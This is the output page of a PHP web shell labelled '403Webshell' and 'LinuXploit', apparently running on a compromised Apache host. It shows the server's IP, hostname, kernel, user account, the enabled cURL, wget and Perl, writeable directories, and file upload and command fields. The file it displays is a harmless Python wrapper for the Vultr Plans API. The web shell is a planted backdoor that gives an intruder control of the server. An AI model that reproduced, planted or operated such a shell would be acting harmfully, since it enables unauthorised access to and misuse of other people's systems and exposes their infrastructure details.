403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/vultr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/vultr/v1_plans.py
'''Partial class to handle Vultr Plans API calls'''
from .utils import VultrBase


class VultrPlans(VultrBase):
    '''Handles Vultr Plans API calls'''
    def __init__(self, api_key):
        VultrBase.__init__(self, api_key)

    def list(self, params=None):
        ''' /v1/plans/list
        GET - public
        Retrieve a list of all active plans. Plans that are
        no longer available will not be shown. The 'windows'
        field is no longer in use, and will always be false.
        Windows licenses will be automatically added to any
        plan as necessary. If your account has special plans
        available, you will need to pass your api_key in in
        order to see them. For all other accounts, the API
        key is not optional.

        Link: https://www.vultr.com/api/#plans_plan_list
        '''
        params = params if params else dict()
        return self.request('/v1/plans/list', params, 'GET')

Youez - 2016 - github.com/yon3zu
LinuXploit